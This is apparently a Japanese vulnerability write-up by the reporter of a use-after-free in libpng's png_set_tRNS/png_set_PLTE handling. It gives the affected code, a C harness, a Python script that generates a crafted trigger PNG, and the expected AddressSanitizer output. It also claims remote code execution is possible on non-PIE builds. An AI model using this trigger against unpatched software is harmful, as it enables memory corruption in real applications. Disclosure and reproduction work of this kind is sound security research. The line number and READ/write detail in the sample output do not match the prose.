以前、libpng の脆弱性を発見して報告したが、放置していたので復習もかねてUAFの検出に至るまでのPoCを再確認する。

概要

CVE-2026-33416 は、libpng 1.2.1 から 1.6.55 までのバージョンに存在するpng_struct と png_info の間のポインタエイリアシングに起因するUse After Free(UAF)である。

7.5 High (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H)

png_set_tRNS と png_set_PLTE は png_struct と png_info の間でヒープ割り当てされたバッファを共有している。

以下が該当箇所である(行番号は修正前のもの)。

// pngset.c:1177
png_ptr->trans_alpha = info_ptr->trans_alpha;
// pngrtran.c:1229-1230
for (i = 0; i < istop; i++)
    png_ptr->trans_alpha[i] = (png_byte)(255 - png_ptr->trans_alpha[i]);

png_free_data(png, info, PNG_FREE_TRNS, -1) または PNG_FREE_ALL で info_ptr のデータを解放すると、info_ptr->trans_alpha は解放されるが、png_ptr->trans_alpha は解放済みのメモリ領域を指したままである。

その後、png_read_update_info() を呼び出すと、以下の順で png_init_palette_transformations() が実行される。

png_read_update_info → png_read_start_row → png_init_read_transformations → png_init_palette_transformations

png_init_palette_transformations() 内で、解放済みのバッファに対して以下の書き込みが行われる。

// pngrtran.c:1229-1230
for (i = 0; i < istop; i++)
    png_ptr->trans_alpha[i] = (png_byte)(255 - png_ptr->trans_alpha[i]);

PoC

ASan によって UAF を検出できることを示す。

手順

  1. libpng を ASan 付きでビルド:
cd libpng
mkdir -p build-asan && cd build-asan
cmake .. -DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g -O1" \
         -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined"
make
  1. 最小再現コード (poc.c):
#include <stdio.h>
#include <stdlib.h>
#include <setjmp.h>
#include <png.h>

static jmp_buf jmpbuf;
static void err_handler(png_structp p, const char *m) {
    fprintf(stderr, "libpng error: %s\n", m);
    longjmp(jmpbuf, 1);
}

int main(int argc, char **argv) {
    if (argc < 2) return 1;
    FILE *fp = fopen(argv[1], "rb");
    if (!fp) return 1;

    png_structp png = png_create_read_struct(
        PNG_LIBPNG_VER_STRING, NULL, err_handler, NULL);
    png_infop info = png_create_info_struct(png);

    if (setjmp(jmpbuf)) {
        png_destroy_read_struct(&png, &info, NULL);
        fclose(fp);
        return 1;
    }

    png_init_io(png, fp);
    png_read_info(png, info);

    /* Enable transforms that trigger the UAF path */
    png_color_16 bg = {0};
    bg.red = bg.green = bg.blue = 0xFFFF;
    png_set_background(png, &bg, PNG_BACKGROUND_GAMMA_FILE, 1, 1.0);
    png_set_invert_alpha(png);

    /* Free info data — png_ptr->trans_alpha becomes dangling */
    png_free_data(png, info, PNG_FREE_ALL, -1);

    /* UAF fires here: writes to freed trans_alpha buffer */
    png_read_update_info(png, info);

    png_destroy_read_struct(&png, &info, NULL);
    fclose(fp);
    return 0;
}
  1. コンパイルと実行:
gcc -fsanitize=address,undefined -g -O1 -o poc poc.c \
    -Ibuild-asan -I. -Lbuild-asan -lpng18 -lz -lm
python3 -c "
import struct, zlib
sig = b'\x89PNG\r\n\x1a\n'
def chunk(t, d):
    r = t + d
    return struct.pack('>I', len(d)) + r + struct.pack('>I', zlib.crc32(r) & 0xFFFFFFFF)
ihdr = chunk(b'IHDR', struct.pack('>IIBBBBB', 4, 4, 8, 3, 0, 0, 0))
plte = chunk(b'PLTE', bytes([i % 256 for i in range(768)]))
trns = chunk(b'tRNS', bytes([0x80] * 256))
raw = b''.join(b'\x00' + bytes([(r*4+c) % 256 for c in range(4)]) for r in range(4))
idat = chunk(b'IDAT', zlib.compress(raw))
iend = chunk(b'IEND', b'')
open('trigger.png','wb').write(sig + ihdr + plte + trns + idat + iend)
"
LD_LIBRARY_PATH=build-asan ./poc trigger.png
  1. 期待される出力 (ASan):
==XXXXX==ERROR: AddressSanitizer: heap-use-after-free on address 0xXXXXXXXXXXXX
READ of size 1 at 0xXXXXXXXXXXXX thread T0
    #0 ... in png_init_palette_transformations pngrtran.c:1171
    ...
freed by thread T0 here:
    #0 ... in free
    ...
    #N ... in png_free_data png.c:...

上記の手順で UAF を検出できた。 本脆弱性は、対象のバイナリが -no-pie でコンパイルされており、glibc tcache が有効である場合、RCE が可能になる。この脆弱性は既に修正されている。

リンク